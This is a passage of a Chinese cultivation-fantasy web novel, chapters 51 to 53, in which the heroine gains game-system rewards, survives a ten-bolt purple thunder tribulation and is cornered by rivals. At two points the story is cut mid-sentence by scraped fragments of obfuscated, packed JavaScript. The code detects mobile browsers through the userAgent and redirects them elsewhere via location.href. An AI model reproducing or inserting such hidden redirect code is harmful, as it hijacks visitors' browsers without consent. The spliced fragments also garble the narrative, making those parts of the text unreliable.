“明月珠项链在你身上,你为何不拿出来?”岑羽的声音此时有些低沉。 “真不在……”滕棠刚要急着解释,忽然想起,自己似乎很久没听到系统的声音了。 51. 第 51 章 她把消息提醒关闭后,一直未打开来看过。 “你等一下。” 抬手暂停两人的矛盾,滕棠终于有时间打开消息栏,入目第一条便是:[提示!你已离开活动地图],她在屏蔽键的上方划拉,读着一条条历史消息。 由于系统安装补丁包,重启了一次,历史消息只能翻阅到重启之后的。不过,即使仅剩七八条提醒,她也大概明白发生了什么,尤其是看到[自动上交]这几个字。 岑羽站在她对面,看到她一秒变痴呆,猜想她是病发作了,才叫他静候原地。走近瞧,那张美如娇花的脸上还有点绯色,不知是羞的还是气的,抑或是晒的……他望了一眼雾气蒙蒙的灰蓝天空,并没有太阳,光照也很寡淡。 滕棠把消息提醒[开启],顺便去查看活动积分。这一打开不得了,险些让她原地蹦起,为避免看错,反反复复数了几次,才确认是真的3000分。 活动画卷下方有一个积分进度条,她已经走满,达到上限后不能再增加。而进度条上方是一串奖励,每个方框旋转着金灿灿的光,等待她领取。 滕棠完全不敢相信自己已经拿到所有大奖,心情除了澎湃外,还有些惴惴不安,怕自己在做梦。她左看右看,试着点了下总积分的数值框,看到积分的获取历史,前面大多是个位数和两位数,到最后两三次,一下子飙升。 她注意力在最后的[+1730]上,这个分数肯定归功于明月珠项链。只是她看到的时候不是很开心,因为分数在收集忆情珠后,离3000分只差两三百,完全可以靠其他补足。 现在项链被系统吞掉,分数超出上限很多,并不给额外奖励,且八角塔失去明月珠后,几乎等同于废弃。她感觉万分可惜,明月大陆唯一的先辈心血灵器,就这样失去风光。 她独自在脑内忽喜忽悲,全然不知,外面的身体会跟着作出反应。 岑羽原本是站在残破蹋道上的,不知何时走下来,和她挨得很近,弯着背和脖子,饶有兴趣地欣赏她“发病”,暗忖着,这癫症来得毫无征兆与规律,以后若遇到危险,发作起来不能召唤自己,是件麻烦事。 于是滕棠一回神,面前放大版肥嘟嘟的脸。两只豆子似的眼睛,在自己身上扫来扫去。她吓得后退一步,问:“你看什么?” 她这具身体很美,有时在水面看到自己,滕棠都忍不住摸脸惊叹:梨花带雨,愁时捧心西子,笑似月里嫦娥。但被人这么凑近打量,她感到非常不舒适。 再美的人,在岑云岭眼里,好比过眼云烟,不一会儿就消散了。作为冥无大陆曾经的霸主,见过各式各样的美人,从未把皮囊放在心上,或是伸手去折某朵花。世间唯有二事装在他眼里:修行、炼器。 从而他对滕棠的畏退不以为意,见她痴症有所好转,便问:“你方才在拿明月珠项链调弄于我,是么?” 除了这个解释,他想不到其他的。还特地低头思考了下,抬眸对滕棠道:“我不觉得有趣,你若想和我亲近关系,不妨说说你的往事与癫症病况。” 滕棠只当他没话找话,委婉向自己探询明月珠的去处。她现在满脑子都是那条项链,关于八角塔进不去这件事,感到苦恼。 捂嘴干咳一声,滕棠拿不出东西,便意图别过话题:“谁知道那条项链去哪里了,你也没看仔细,万一是鹿明月用幻觉骗我们呢?” “断不可能。” 岑云岭想说他认识鹿祥云和鹿明月,曾经交过几次手,幻身又被镇压万年,对明月珠项链非常熟悉。但话到喉咙,看到视线回避的滕棠,又什么也没说。 中品仙器的核心与器灵罢了,她想要也无妨。有石材与时间,他亦能炼出来。揪着问,反让滕棠误解他贪求此物。 二人各怀想法,却默契地未再提明月珠的事。 手边的莲花柱越升越高,折角基底完全暴露出之后,左右直射两道光束,穿过山峰峭壁,与远方的莲花柱相接。 滕棠预感会有人过来挖柱,于是和岑羽乘热气球离开鹿焰宗,前往明月大陆东边。 在空中闲来无事,她把活动奖励全部领取。灵石大部分用来买[天脉石],一部分买装备材料[火焰石],还剩大约千块做备用。 “三急?”岑羽见她忽然挪动,趴在边缘往下张望,考虑到她还没完全辟谷,于是出声询问。 滕棠降低高度,摇头道:“不是。”待收好热气球,她在地面划了个阵,由于不好解释,便让他背过去:“帮我警惕周围妖兽。” 岑羽像是想到什么,迅速转过身,不再看她。暗自寻思,女子每日运作心法,修行后应该没有月事才对。滕棠莫非懈怠已久,凡体肉骨又有了俗杂物质。 盘坐于简单的护心阵中央,滕棠感到灵兽袋有动静,便抽开绳。 里面的洛赤鹰异常虚弱,被放出来后,好一会儿才化成人形,躺在阵内有气无力道:“你有无灵药?我储物袋丢失,丹田被毁,难以汲取灵……” 后面的声音特别弱,几乎听不见。 对方狼狈的模样,令人不忍再看第二眼。滕棠不由地产生同情,从背包里取出几颗回血丹,喂给她:“你吃完好转之后,就待在这阵内,联系伏火宗的人接你回去。” 缭乱的头发被-干涸的血粘成条状,遮挡秦阿斓大半边面容,她苍白无力地喘息着,艰难咽下丹药,一点也不像那个妖娆骄恣的伏火宗大师姐。 眼泪默无声息流下,滚过脏兮兮的脸。秦阿斓下半身空荡荡的,跟心一样麻木,没有知觉。 谁料回血丹效果极好,她感觉有了点力气,在滕棠准备冲穴的时候,哀求道:“我没有传音石,你能不能送我回伏火宗,我一定重金回报。” 虽然可怜她,但滕棠并不想趟浑水。明月八角塔出事,剩余七个门派肯定很乱,且不说秦阿斓会不会坑自己。她们不认识彼此,谈不上信任。 “我最多给你买辆凡间马车,找个人送你去伏火山。” “多谢。” 秦阿斓苦笑一声,道完谢后,变成只残了半边的洛赤鹰,身上的火冷得没有温度。 把她放进灵兽袋里,滕棠叹了声气,而后想起自己过得也没多顺遂,几次死里逃生,便不再纠结这些。每个人的选择,决定每个人的命运。 她闭上双目,打开系统的个人界面,将火焰石与十二格装备融合,打造全套[昼焰焚火]。装备升级之后,她并未穿戴身上查看,而是于[经脉]栏冲封堵的穴位。 积分达2000奖励了999块天脉石,算上灵石买的,她现在有一千多块天脉石,可以连冲任脉七个穴位。 每一条经脉皆是,开头需要的数量少,然后逐渐叠加到让人无力承受。上次的[濂泉]穴仅需93块天脉石,这次一口气冲开七穴,直达胃上[中庭]穴,一共需1103块天脉石。如果没有系统奖励,用灵石买,将会是笔庞大的数目。 暗色-界面上,人形轮廓有根中轴线,开头两个点闪亮亮的像发光的金子,其余穴位黑漆漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032710|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如同普通的石头等她打磨成金。 滕棠接连点击[冲穴]。七个穴位同时吸纳天脉石,慢慢闪烁,随后蜕为明光锃亮。她只觉身体飘然,颇有种阔绰消费,做了瑜伽按摩桑拿等全套身体保养的舒适感。 初时还不强烈,等九个穴位完全打通,相连之后,她忍不住舒服得喟叹,心旷神怡,忽感世间万物不过如此,都不及这一刻美妙。 实力一下子从练气六层,上涨为筑基三层。这样大的跨越突破,却未扰动一丝风。 只是她不想高调,老天会逼她成为万众瞩目的靶子。 滕棠方起身,便察觉头顶天空不对劲,一下子暗沉下来,云涌成灰色,偶尔砸下几颗拳头大的雨。 第一个反应过来的是岑羽,他未回头,皱着眉问:“你给秦阿斓吃了什么?她可是在重塑丹田一举筑基?” “没有啊。” 滕棠打开灵兽袋,里面躺着昏迷不醒的洛赤鹰。对方服下回血丹后,灵力大涨、肉身快速修复,已经长出来半截大腿。 她走过去拉拉岑羽的黑纱,让他转过身来,把灵兽袋递去问:“她怎么了?” 岑羽和她对视后,蓦地怔住,诧异地盯着滕棠,一点余光都没给灵兽袋。 “你……”他抬头看了眼黑压压的天,雨势渐大,似许多人一拳一拳地锤过来,砸得人脸生疼。 滕棠顺着他的目光,也挨了几锤雨滴。抹干净脸上的水,她不笨,只是没经历过大阶段的突破,又一下子连升好几层实力,缺乏经验和应对能力罢了。 “这不会是……”她以手挡雨,从指缝间看到云层中生出的紫雷,喃喃道:“我的雷劫吧?” 岑云岭沉默了。 他百思不得其解,滕棠未吸纳大量灵力的情况下,如何连破阶层直接筑基,甚至涨到筑基三层。纵古观今,无人敢做到,更遑论一个经脉俱废的五灵根。 蓬松的黑纱黏着肌肤,顺滑乌发紧贴头皮,显得他的脸和五官愈发难看。岑云岭顶着瀑布般的雨,内心像个鼓胀的气球,满腹疑团。 滕棠一把将灵兽袋塞进岑羽怀里,推开他:“快走,这天雷是紫色的!” 紫雷为最高等的天雷,亦是龙傲天狂妄的倚仗之一。仅是筑基期的雷劫,便能让元婴修者忌惮,稍被击伤,很难修复损毁处。 滕棠之前想过自己突破筑基的情形,并没把天雷当回事,觉得普普通通如常人一样,谁料竟如此可怕壮观。 倾盆大雨模糊视线,周围的草木都被打得没了叶子,徒留枝干撑着。滕棠把[昼焰焚火]套装穿在身上,手持增长半米的火刀,在雾气里遥遥望天。 或许是因自己不属于这个世界,亦或体质特殊,本不该筑基的人,突破了限制,所以触怒了上天,想抹去她的存在。这种想法在滕棠脑子里出现了一瞬,便被她甩头抛掉,管这老天要做什么,她绝不屈服。 摸了下装备冒出的白色火焰,不烫,温热的,对淋着冷雨的人来说犹如雪中送炭。 她有注意到周围情况,白火对自己和对其他,全然是两种温度。所有降落到她身上的雨,瞬间烫成了水雾。地面的浅洼烧开了,咕噜噜冒泡,顺带将杂草煮熟,软趴趴团在一起。 天上的雨越下越大,让滕棠几乎没法呼吸。紫雷在翻涌中逐渐成型,轰隆隆的声音一直响个不停。 等岑羽离开这片区域之后,紫色的雷已经扭成蛟蛇那般粗,气势雄雄地在灰云中探头,随时要降落下来,让滕棠灰飞烟灭。 52. 第 52 章 厚厚的云层让头顶的天失去光芒,高处落下来的雨没有间断,连成一片瀑布。紫雷在轰隆声里,最终形成十条雷龙,头尾相接,呈圈状盘在乌灰的云层里。 这一隅的奇特景象,不意外引来数人围观,隔得远远地,生怕被紫雷暴雨波及。 等天空的雷云形成,四处已经聚集了不少修士,只听一人大呼道:“那里难道是鹿焰宗的龙傲天在升阶?” 旁边的人反驳他:“不是吧,龙傲天上次结丹,你我二人见过。这次的你数数,我数了五遍,是十条雷龙没错,有人突破筑基期。” 紫雷乃是最高等天雷,有此雷劫之人,要么是天运极佳的骄子,要么是天地不容的孽种。再观那边天上的云乌漆嘛黑的,一点祥瑞都没有,可见下方是天道要灭的祸患。 “有人知是谁在历劫不?”一修士开灵眼,觑起双目,试图看清山谷内历劫者的模样。 天空中御剑的人群正看得热闹,忽而远边亮起一朵云。不少修士都认得,这是祥天门的飞舟。 有人消息灵通,自看到祥云舟的头,便急忙喊:“快走!躲远远的,祥天门老祖前日出关了!” 众人不知所措,不过见大家都散开,于是跟着飞离。乌云范围本就很大,再远什么都看不见,于是不少人抱怨:“都是看戏的,怕什么,他们还能对我们做什么不成?” 知情者戏笑一声,骂道:“一群黄毛小子,想多活几年就别出声。祥天门老祖已破合体期,入洞虚境界,脾性古怪,听不得人说他或祥天门之事。” 天空中议论纷纷。听了不少事迹,年纪稍轻的人恍然大悟,难怪不曾有祥天门老祖的传闻,此人才是真正的修炼疯子,修炼得神志都不清晰了,稍不顺意就杀人,或者闭关几百年。 祥云舟已至这重山脉,他们一到,天地除了雷雨声势,听不见人声。众人识相地散在山岭之中,躲藏起来围观这儿发生的事。 此时的雨犹如倒挂的河,从黑云深处悬下,冲刷山峰,而后把整个山谷淹没。 滕棠从水底浮到表面,大口呼吸了几下,在视线模糊中,游向附近的山顶。她一动,头上的云层与雨水跟着移动。 上了岸,[昼焰焚火]快速把人烘回温,滕棠眼内全是白茫茫的雾。她拧干湿哒哒的头发,仰头拨雾见雷,心里骇然,自问着:“老天,我没干过亏心事,不会要被雷劈死吧?” 那紫色雷龙,比书上描绘的粗壮多了。天地相隔如此遥远,她用肉眼看,抬手臂比了一下,差不多宽度。 雨水冲刷泥土草木的腥味,异常浓重。天空不远处的云舟头上,李孚骅顶着杂草般的白发,神神颠颠地张开双臂,像是看见新奇事物的孩童,手舞足蹈道:“紫雷!紫雷龙!” 舟上李婪深等人怕他跌倒,都毕恭毕敬低头,踏虚空护佑着。 祥天门到了之后,其他门派也有人前来查看发生了何事。不过没有大张旗鼓地用门派飞舟,或举门兴动,皆是些穿内门服饰的弟子,踩着剑遥望山谷。 在山脉的某个角落,岑羽怀揣一个灵兽袋,豆子大的眼睛紧盯天空。接二连三的事,让他这个魔族之主回不过神来。 从明月八角塔出来之后,滕棠一下子升到筑基三层,他还能勉强说服自己:她肯定吃了神药。此时天上十条紫色雷龙,比史书记载的任何一次筑基雷劫都要庞大,甚至可以和当年浮光的洞虚雷劫比。 魔族突破阶层要渡心魔,灵族则是度雷劫。岑云岭未历经过雷劫,却看过千千万万灵修历雷,没有哪一次能让他如此震撼,失态到口忘了闭。 以雷劫的威势来看,天道对滕棠的存在根本不许一点希望,恨不得她被劈得灰都不剩。遭天道如此不喜者,前无古人后无来者 他像是石头雕刻的人,定在地上久久未动,心里闪过无数方法,却不知如何实施。现在的情况,唯有自己的本体和稍强的幻身才能救滕棠,可滕棠能召唤的,是实力弱的几个。 在他反复思量之时,一道金色龙爪从背后袭来。所幸他躲避迅速,才没被偷袭到。 龙傲天半边身子藏在一棵树后,眼神如狮,“原来你们在这儿”,他屈握双爪,一招招打向岑羽:“魔人,把明月珠项链交出来!” 这具幻身实力不及他,岑云岭只能靠境界弥补,交手几次,体内魔气越来越少。 “历雷劫的是滕棠吧?”龙傲天哼了一声,嘴角勾得邪狷:“看见了么?这就是和天道之子背道而驰的后果,你若不想被抹灭,便把明月珠项链还给我。” 魔族哪里在乎什么天道,皆是以心证道,爱做什么便做什么,越是随心所欲者,心魔越强,越得心道大成。 岑云岭的神魔万象心法,无法得到好的施展,自然节节败阵。若撕开面具,竭尽全力较量,又会被这些人发现真实身份,因此一下子陷入两难的境况。 附近来了不少修者,其中便有伏火宗的人。自从失去与徒弟的联系后,秦阿斓的师父焦急如焚,一直拿着她随时熄灭的灵火牌,到处寻找。偶然来到滕棠历劫之地,原本快熄的灵火牌,噌地冒出火花,渐渐有生命力。 尤其是火焰不再直立,倾倒一方,表明秦阿斓就在十里之内。他脸色大喜,持牌在附近搜寻。 灵兽袋中,秦阿斓用最后力气服下回血丹后,昏迷了一阵。在她意识不清的时候,残缺的腹部迅速长出新肉,由于伤势太重,剩下的药力只够修复五成丹田。 不过有丹田在,一切伤势的恢复只需要时间和灵丹。 “咔咔嚓……”外面树倒枝折的声响不绝于耳,打斗的动静由弱变强,风与泥石的摩擦愈发明显。 秦阿斓在灵兽袋内听得一声:“你说滕棠会选择明月珠项链,还是救你的命?”她瞬间惊醒,恍惚以为龙傲天又朝她抓来,把上半身一起捏碎。 挣扎着自己从袋子内出来,秦阿斓扇动翅膀飞到空中,腹下没有双足。她睁大粉目,看到远边雷声滚滚的黑云,以及底下乱斗的两人,不知所措。滕棠不在,那个魔修打不过龙傲天。 “阿斓丫头,帮我啄他双目。”龙傲天惊讶地发现她没死,便以兽契下令,让她不得不帮他做事。 秦阿斓用意志违抗着,奈何身负重伤,怎么也拒绝不了。 恰好天上她师父寻到她所在,远远吆一声:“阿斓,你在哪儿?” 秦阿斓鸟喙张开,欣喜地短促鸣叫,将师父唤来,然后化作没腿的人躺在地上:“师父救我!” 老者见她如瓦片般支离破碎,大惊失色,忙问:“怎么回事?谁伤了你?” 一听是龙傲天,双手秒结出手印,也不管旁边还有个魔修,所有招式全往龙傲天身上呼,不过他才金丹六层,并不能让龙傲天怎么样,最多把人逼退。 龙傲天金瞳竖立,恶狠狠地瞪了她一眼:“你我之间有兽契在,和我对抗,你找死不成?” 秦阿斓师父本就对这件事埋怨已久,自己养大的孩子白白被骗去当仆从,现在还被威胁,哪里看得下去,几下出手,让龙傲天不得不暂时离开。 秦阿斓变成巴掌大的鹰,收起火焰,飞到师父手心里,用头蹭着撒娇:“谢谢师父。” 老者叹气,给她喂药并输送了一段灵力,苦口婆心道:“阿斓,我解不了你的符契。等你伤好得差不多了,你去天央大陆的百鸟山,找你的族人去吧,说不定能找到你生母。” 秦阿斓先是嚷了几声“不要”,哭了一阵后,忽而擦着泪道:“等我报了仇回来孝敬爹爹。” “你终于肯叫我声爹爹了。”老者和蔼地捧着她,慢慢飞回伏火山。 龙傲天离开之后,岑羽变幻为魔烟,游走于河流遍布的山谷。他担心耽搁的这会儿,滕棠在里面熬不住,想救又不知道怎么救。除此之外,他还忧于自己的性命,滕棠一死,他亦飞灰湮灭。 岑云岭缠在一绿枝上,望到那边光芒大盛,第一条紫色的雷龙蜿蜒咬下,声势浩浩令人畏惧。 那瞬间他什么都没想。等雷龙咬到矮山,大口把山头削平之时,刹那间他回顾过往,似乎除了恨镇压他的灵修,恨早被他杀掉的浮光,这世间其实没什么留恋之处。 他眸光极沉,凝视向那焦黑的山头,暗自思忖,这万年来唯一有趣的事,便是遇到这个女子。也是因滕棠,他才有一具幻身脱离镇压,否则不知要等几千年,才能拆卸一条桎梏。 紫色雷龙轰一声落地时,方圆十里的人都颤抖了下。 李孚骅疯疯癫癫地指着天空,学妖兽怪叫,拍手称好:“再来一条!劈死她!劈得渣都不剩。” 别看他这个样子滑稽,在场的人却不敢议论一个字,尤其是祥天门的弟子长老,规规矩矩地低着头,具皆面无表情。 李婪深还稍好一点,眼睛里有点情绪,其余人跟木头似的,整齐划一排列,不能用安静来形容,用死气沉沉一词更为贴切。 离得近的人,在滕棠爬上矮山顶时,便能看见她。不少人都惊异于,雷暴云下竟是一名女子,还是个面若杏花、身形纤细的女子。 她站在滂沱雨水中,细瘦得仿佛来一阵风就能吹倒。但等她抬起头,看到她与天空作对的坚定眼神,加上周身白火,又不觉得她柔弱不堪了,连蒙蒙雾气都转换成仙韵,衬托得她美不可言。 一道雷劫后,大家都不觉得她还活着,望着焦糊的坑,摇头嗟叹。莫说筑基期,在场就连祥天门刚出关的老祖李孚骅,也不一定能完全接下这道天雷。 所有人都认为滕棠必死无疑,连滕棠自己也这么想。 她全副武装,把所有最好的装备穿戴出来,给武器换上新外观[恶魔镰刀]后,一米大刀变三十米镰刀,又长又宽又重。她奋力举起,迎接天雷的巨口,几乎是等死的心态。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032711|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她这副打扮很像死神,可惜收割的却是粗壮骇人的紫雷。 雷与长弯的刀面接触,噼啪钻进滕棠的身体,那一瞬间,她疼得抽搐,五脏六腑与四肢即刻麻痹。 在她看不见的地方,系统汲取了紫雷绝大部分的能量。这种能量对它来说最为精粹,比滕棠捡的那些宝贝好百倍千倍。但由于版本太低,吸收不完,仍有少部分雷力分摊在滕棠身上。 整个人和背后的泥土一起,被按在山顶摩擦,扬起摔落,最后躺在坑底奄奄一息。滕棠什么话也说不出,只听到付岚山在喃喃:“完了完了,我要灰飞烟灭了!怎么办!” 她听到这话,苦涩一笑。人终有一死,这死法真令人难受。 可奇迹的是,她没有死…… [你已身负重伤!]系统自动消耗背包里的回血丹,给滕棠治疗伤势。 紫雷眨眼落下,瞬息消失,速度快得必须开灵眼才能看清。要不是身体麻得动不了,滕棠恍惚以为刚才什么都没发生。 她不可思议地睁开眼睛,默默数了数天上绕圈翻腾的紫龙,一共九条,确实少了一条。 难道我是避雷针成精?她被突然的希望弄得茫然。在第二条雷龙嚣张怒吼,作势降落之际,她才反应过来,狂购系统丹药,抓住逆境中的生机。 轰—— 除了李婪深和陆椛见过滕棠,其他人都不认识这个女子。众人正欲离去,不想,背后传来第二道天雷。 不对!为何会降下第二道? 若第一道天雷已让灵修灰飞烟灭,是万不可能降第二道的。所有人震惊地回头,发现那天上乌云滚滚,非但没散,反而声势汹汹,仿佛被底下的人触怒。 轰——,紧接着,第三道降落。那座山早就没了,浅谷那处形成一个巨大的坑底。 轰轰轰——,一道道粗壮的紫色雷龙,相继劈下,威力强得大地都在颤抖,方圆百里的生灵被吓死多数。 祥云舟上披头散发的老头,原本是手舞足蹈的,在看到雷龙接二连三落地后,忽然僵住,摸着下巴脏兮兮的胡须,把李婪深叫来:“是我老眼昏花了,还是她真的抗住了这么厉害的天雷?” 李婪深情绪万分激动,拱手道:“天道肯定做了幌子,此女必然有极佳气运,可替代龙傲天当首傀,我们赶紧……” “不慌。”李孚骅抬手,呲起嘴皮,没有牙齿的红紫牙床左右磨动,耷拉的眼皮被眉梢提起:“先看她在十道天雷后,还活着否。” 四五道紫雷之后,滕棠撑得明显吃力。天雷造成的损伤果然不同凡响,连系统的丹药都不能极速修复。再来几次,恐怕艰难。 系统默无声息地吞噬着雷力,储存的能量之多,很长一段时间都不需要扣除滕棠灵石,来维持运营。 头顶的天空依旧云涌雨下,粗壮的雷龙扭动,一条接一条张口咬向滕棠。不同之处在于,云层变薄了,雨势变小了。这片天地惊怖的景象,淡了几分恐吓的黑色。 每一道天雷落在身上,身躯仿佛被撕碎一次,令人痛不欲生,而后全身麻木得连头脑也要跟着失去知觉。 滕棠躺在深深的坑底,浑身装备早就被劈成废铁,半融化状挂着,快和扭曲的镰刀相合。 脑海中那丝精神力悬于识海,如她意志一般,岿然不动。她此时仅一个想法——坚持,再熬三道,便可以解脱了。 云和雨有所消散,但雷龙的威力却丝毫不减。 轰——,第八道。 滕棠默数着,竭力去关注这是第几道天雷,以助自己保持清醒。 轰——,第九道,大地已经颤抖多次,这片区域树木成焦炭,寸草化灰。 雾形状态的岑云岭从未离去过,他本来已经做好要灰飞烟灭的准备,谁能想到,撑到第九道,滕棠都还没死。他紧紧盯着远处的巨坑,虽然什么都看不见。 在他全神贯注之时,龙傲天取到了神戒里的某个宝贝,竟能神奇地找到他的位置。悄悄匍匐在一块石头后,准备等滕棠历劫之后,用此人作要挟,换得滕棠身上的至宝。 在他看来,滕棠能有此劫,且能度过此劫,全归功于她身上不知名的至宝神物,肯定比他手上的不死神戒还要厉害得多。 轰——,最后一道。 虬弯的天雷重重打击在滕棠身上,而后绝大部分被系统吸收,少部分作用在她肉-体筋骨中。 十道天雷全部落完,天空上的云完全散去,雨后的空气并不清新,充斥浓浓的焦炭味儿。常年被雾笼罩的山脉,难得被光束照耀,在半空搭起彩虹。 度雷劫成功,滕棠原本受伤颇重的身体,在噼里啪啦的闪电中,忽然迅速凝结空中灵气,脱去俗质,造就更纯的灵身。 快要濒死的人,睁开漂亮的褐色眼睛,放声大笑:“哈哈我还活着!老天爷怎么样,气不气,你打不死我。” 53. 第 53 章 神采奕奕地爬起来,身上的熔铁碎布哗啦啦直掉,滕棠唰地两手环抱,两腿交叉。还好她在深坑之中,没有人看见。 打开系统,她把灵石花光,将装备磨损度恢复到100。 约莫两秒的时间,碎布点点拼凑,形成暗红带有流光的长裙,尺寸刚好符合她纤瘦的体型。长裙附身之后,白色的火焰哧地燃起,从头饰一路烧到手臂,沿着背脊,分成两股向下,最后停止在足尖处。 同时,滕棠的双手一沉,三十米大镰刀好比千吨巨鼎,重得她几乎抬不起来。 这武器不仅重,还大得浮夸,镰刀扁长,比手柄的三十米还长,且融合了三套装备的效果,弯弯尖端总在血滴,渗入泥土中,而后被刀上的白火烧成类似结痂的硬块。 任谁拿,都像个杀人狂魔。 拖着长柄,费力走了一步,她顿感纳闷,自己在遇雷劫的时候,是怎么举起来的。单凭她现在的身体强度,根本不能使用这三十米大镰刀。 滕棠把武器外观卸下来,还是更习惯使用自己的长刀。这次活动的奖励,只有留着危险时,或者以后身躯筋骨变强后再使用。 [叮!热血岁月正在更新……] 莫名其妙地,系统又开始下载一个巨大的更新包,不顾她意见,暂停所有功能。 好在这次更新得极快,几秒下完,解析时间也不长,脑子里很快便响起提示:[游戏启动中……] 首页上,滕棠没看出有什么变化,直到她注意力往右,发现右上角有个红色的小点。她点了下,还没来得及看是什么,就被跳出来的公告吸引。 [全新版本热血岁月7.0上线! 新增内容:世界地图,自动寻路功能。玩家点击右上角图标,可以查看当前位置。地图分为已解锁区域和未解锁区域,欢迎玩家积极探索新世界。 更新补偿已发送至邮箱:1000上品灵石。 祝您游戏愉快!] 这次更新奖励真大方,滕棠满足地叉掉公告。 她打开地图,长方形的牛皮纸慢慢展开,边角卷起,中间的画略显粗糙,大部分都是云雾。 地图上,未解锁区域占了九成,用灰色的云遮挡,无论滕棠如何点击都没有反应。 地图左下角画有山脉,写着字体[明月大陆],这块偏圆的区域可以放大,放大后可以看清明月大陆上各宗门的位置,以及一些大城山河,比如北边的祥天门、西边的福鹿宗等。 滕棠对新增的功能非常满意,有地图和自动寻路在,以后都不愁方向、迷路等问题了。 她缓缓地从坑内爬出来,未料外面到处都是人,像看稀奇猴子似的,对她上下打量。 天上还有艘祥天门的轻舟,但愿上方没有李婪深等人,她祈祷道。 人群里没有岑羽,不知是不是被她的天雷吓到,去哪里躲着了。 附近的几座山被天雷夷为平地,几阵山风吹过,带起地上的黑灰,在山谷边缘飘动弥漫。 角落里的黑灰更多,绕来绕去像是团雾。 “魔族都是怪人,还能变成魔雾。”龙傲天转动指上的戒指,问他师父:“师父可有把握?” 李老回他:“夺宝,两成把握。逃命,十成把握。” “好。”龙傲天缓慢点头,眼睛紧盯着那团雾,随后双足裹雷点地,瞬间来到雾内,抬手一抓,用一个黑色的钵将岑羽罩住。 不多时,黑雾聚成人形,被龙傲天捏在手里。岑羽不可思议地看着他手里的东西,想不到这两人这么有本事,连魔龙真钵也能取出来。 龙傲天信心满满地抓着他,来到巨坑上空,离滕棠仅五米远,对她道:“滕棠,你把明月珠项链交出来,我便饶他不死。” 刚爬出来的滕棠,看到这一幕,心脏猛地收缩。她已经失去两个伙伴了,岑羽还曾舍命救过自己,若再因她而死…… “我没有明月珠项链。” 眼神晃动,滕棠紧张地盯着那只掐进岑羽肋骨的金色爪子,恨不得提刀宰了。 龙傲天本来的目的也不是明月珠项链,他更在意滕棠身上的至宝,令一介五灵根废柴几番死里逃生,还突破到不可能的筑基期,度过紫色天雷后毫发无损,这样的神物,怎能不让人垂涎? 他带着岑羽渐渐靠近,巨大的爪子收得越来越紧。指戒里的老者,目不转睛盯着,静待时机杀人夺宝。 “别管我,你赶紧走。”岑羽为不引人怀疑,在伤口处幻出汩汩鲜血。 滕棠见此,更不可能走了。 在他们相距一米位置的时候,龙傲天指上忽然开出朵黑色的莲花,蓬内莲子转动,喷发黑色的气体出来。 “不好!”岑羽大惊失色,难怪龙傲天如此嚣张,原来是有百瓣乌莲作倚仗,戒指里的老头到底偷了他多少东西! 黑色莲花十分诡异,慢慢绽开,香气四溢,在场闻到的人登时感到身体软趴趴的,丹田被锁,一丝灵力都用不出来。 天空之上,祥云舟内没有动静。李婪深朝李孚骅一拜,拍马屁道:“老祖果然英明,龙傲天确实手段不少,奇物甚多,他戒指内的强者还未现身,我们是等其现身后还是……” “你慌什么慌!”李孚骅不悦地打断他,这会儿神色没那么疯癫了:“先静观其变,螳螂捕蝉,黄雀在后。” 自滕棠筑基成功之后,周围就走了不少人,各弟子带着奇事回门派与人说去。还剩下部分未走的,就倒霉的着了道。 百瓣乌莲的香气瞬间弥漫山谷,只有远一点的才闻不到,比如天上那座祥云舟。 凡是香气入体者,都失去了对丹田的掌控,个个变成凡人,毫无战斗力。 多亏滕棠留了个心眼,在龙傲天抓住岑羽的时候,提前吃了几颗丹药,有短暂提高伤害的、有解毒的、有提高防御的,因此百瓣乌莲对她没有影响。 做足和龙傲天打一架的准备,滕棠率先出手,一刀朝龙傲天砍过去,铆足了劲。 结结实实正面挨了一刀,龙傲天被砍得皮开肉绽,鲜血如注。 他大意了,不敢置信地瞪着滕棠:“你怎么还能用灵力!” 两人才交手一招,情况陡然发生改变。原本说静观其变的李孚骅,忽然跳下舟头,踏空飞至他们上方,两手心互握,拉出黑色的长丝。 李婪深见老祖下去了,连忙吩咐身后千具魔傀,随他在空中布阵。 “祥天门老祖是不是走火入魔,改修魔道了?”远在天边的修者问。 “看来是的,我们快散,看着真吓人。” 不到半炷香的时间,众人皆调头奔命,怕被洞虚的魔修老祖来一巴掌。 龙傲天和滕棠在发现有强者时,就没打了,齐齐往山外跑。滕棠回头看了一眼,确认是[71级]没错,暗自惆怅,明月大陆什么时候有这么强的人。 “跑什么跑。” 李孚骅口齿不清地喊了一句,扔出手里的魔傀旗:“你们两个上门给我当首傀吧,协我成仙成神!” 龙傲天根本没把他放在眼里,双目一直在滕棠身上看,试图用玄眼探穿她身上的宝贝。可惜无论他如何汇神,滕棠身上依旧空白,只能看出天赋,无法读命字,也看不到宝物的灵隐。 “无机可乘,走吧。”戒指里的老者叹气道。 龙傲天仍不死心,把魔龙钵里的黑雾再次取出来捏在手里,威胁滕棠:“你信不信我杀了他!” 岑羽一现身,发现自己口不能言,被龙傲天死死捂着,只能用眼神示意滕棠别管他。 眼下的情况,滕棠完全无法掌控。 一方是洞虚期的老祖,上千个祥天门的人,一方是抓着岑羽的龙傲天,用救命恩人的命威胁她。怎么逃?他们能在洞虚期强者手下逃走吗? 洞虚期强者若完全爆发实力,短时间内,其速度高于上品飞行灵器,一分钟内就能抓到她。 两张魔傀旗在李孚骅的控制下,即将插入龙傲天和滕棠的脊骨。 无奈之下,滕棠只好使用仅存的一张召唤卡,把万象召来,[52级]的万象已经是她最强的伙伴。 